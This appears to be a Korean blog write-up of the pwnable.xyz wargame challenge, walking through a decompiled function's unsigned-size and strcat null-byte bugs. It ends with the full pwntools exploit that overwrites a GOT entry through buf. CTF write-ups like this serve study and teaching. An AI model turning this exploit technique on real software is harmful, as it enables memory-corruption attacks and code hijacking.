1. 문제
1) mitigation 확인
PIE와 RELRO가 안걸려 있다.
2) 문제 확인
먼가 굉장히 복잡하다..
3) 코드 확인
- save_progress() 함수
ssize_t save_progress() { int v1; // [rsp+4h] [rbp-Ch] if ( buf ) return read(0, buf, 0x1000uLL); printf("Size: "); v1 = read_int32(); if ( (unsigned int)v1 <= 0xFFF ) { puts("Invalid."); exit(1); } if ( malloc(v1) ) return read(0, buf, v1); buf = &reserve; return read(0, &reserve, 0x1000uLL); }
해당 함수는 5번 메뉴에 해당하는 함수이다. bss영역에 존재하는 buf에 값이 들어있으면 buf에 입력을 받고 종료된다. 만약 buf에 아무 값도 없다면, 사이즈를 입력받고, 입력한 사이즈가 0xfff보다 작거나 같으면 종료된다. v1은 unsigned int로 캐스팅되기 떄문에 음수를 입력한다면 해당 로직을 건너 뛸수 있다.
그다음 입력한 사이즈 만큼 malloc을 하게 되는데, malloc에 실패할 경우 널바이트를 반환하고 reserve 주소를 buf에 저장하고 reserve에 입력을 한다. bss 영역에 존재하는 변수들을 살펴보자
0x610DA0는 a 변수의 주소이다. a는 256 바이트 배열로 되어 있고, 0x610ea0는 buf의 주소이다. 그리고 0x610ec0은 reserve의 주소이다.
2. 접근방법
결국 내가 입력해서 들어가는 값들은 5번 메뉴인, save_progress() 함수 밖에 없다. 그렇다면 1 ~ 4 번 메뉴를 이용해서 0x61DA0 에 문자열들이 들어가는데 이를 이용해서 어떻게 할수 있을까.
잘 생각해보면, 5번 메뉴에 read함수로 buf가 가리키는 주소에 입력을 받게 된다. 그렇다면 저 buf에 들어가는 주소를 got 주소로 변경시키면 되지 않을까?. 현재 no PIE, No RELRO 이기 때문에 got만 buf에 넣을수 있다면 충분히 가능하다.
현재 1 ~ 4 번 메뉴로 strcpy, strcat 함수로 a 배열에 문자열을을 복사 및 붙여넣는다. 단순 strcpy로 복사만 하게 된다면 a에 계속 덮혀져 복사가 되므로 strcpy를 호출 안하게 하고 strcat으로만 이어붙일수 있다면, a 배열을 256바이트 꽉채울수 있다.
하지만, 해당 a 배열에는 우리가 입력한 값이 들어가는게 아닌, strcat으로 문자열이 이어붙여진다. 따라서 buf에 직접적인 주소를 넣을 수 없다. 그렇다면 간접적으로 buf에 값을 변경시킬수 있는 방법을 찾아야 한다.
만약 초기에 5번 메뉴를 호출하여 사이즈를 -1로 주게 된다면 malloc() 의 반환값이 0이므로 buf에 reserve 변수 주소를 그대로 넣을 수 있다. reserve 변수의 주소는 0x610EC0
인데 이게 buf에 들어 간다는 소리이다. 여기서 중요하다. 만약 a 배열을 256 딱 떨어지게 strcat으로 문자열을 붙인다면, strcat 함수 특성상 문자열의 마지막에 널바이트가 들어간다.
따라서 buf의 하위 한바이트가 0으로 채워지고 buf에는 결국 0x610E00
값이 들어가게 된다. 이 상태에서 5번 메뉴를 호출하면 현재 buf에 0x6010E00
이라는 값이 존재하므로 buf에 read를 입력받고 종료가 된다. 즉 0x6010E00
에 0x1000 만큼 입력을 한다는 소리이고, 이를 통해 더미값 0xA0 + got 주소를 입력한다면, 0x6010EA0
에는 got 주소가 들어가게 된다.
이 상태에서 한번더 5번 메뉴를 호출하게 되면 buf에 들어있는 got에다가 read를 하게 되고 이를 통해 got_overwrite가 가능해진다.
다른 메뉴는 안되고 3번 메뉴로 strcpy를 호출하지 않고 strcat만 호출 이 가능하다
3. 풀이
a 배열을 256 바이트 딱 맞추기 위해
3번 메뉴
- > 4 ( strcat(a, " says \"F*ck Me Dead Mate!!\" when surprised."); )
- > 0
이거를 5번 반복 한뒤
3번 메뉴
- > 3 ( strcat(a, " is a neural-network machine-learning AI."); )
- > 0
요롷게 총 6번 3번 메뉴를 이용하면 a 배열에 딱 256바이트 문자열을 만들수 있다.
최종 익스코드는 다음과 같다
from pwn import *
context(log_level="DEBUG")
p=remote("svc.pwnable.xyz",30036)
#p=process("./challenge")
#gdb.attach(p,'code\nb *0x1da0+$code\n')
pause()
def ex_():
p.sendlineafter("> ",'3')
p.sendlineafter("> ",'4')
p.sendlineafter("> ",'0')
p.sendlineafter("> ",'5')
p.sendlineafter("Size: ",'-1')
p.sendline('A')
for i in range(0,5):
ex_()
p.sendlineafter("> ",'3')
p.sendlineafter("> ",'3')
p.sendlineafter("> ",'0')
p.sendlineafter("> ",'5')
p.sendline("A"*0xA0+p64(0x610B28))
p.sendlineafter("> ",'5')
p.sendline(p64(0x4008E8))
p.interactive()
4. 몰랐던 개념
- 몰랐던 개념은 없었다. 하지만, 보기에 복잡해보이는 문제들도 핵심 부분을 어디로 파악할지가 눈에 들어온다.
- 결국 내가 입력한 변수와, 해당 값이 어디에 들어가는지 로직을 중점적으로 보면, 분명히 그 안에서 취약점이 발생한다.
'워게임 > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] child (0) | 2020.05.19 |
---|---|
[pwnable.xyz] Car shop (0) | 2020.05.18 |
[pwnable.xyz] notebook (0) | 2020.05.17 |
[pwnable.xyz] nin (0) | 2020.05.16 |
[pwnable.xyz] Dirty Turtle (0) | 2020.05.14 |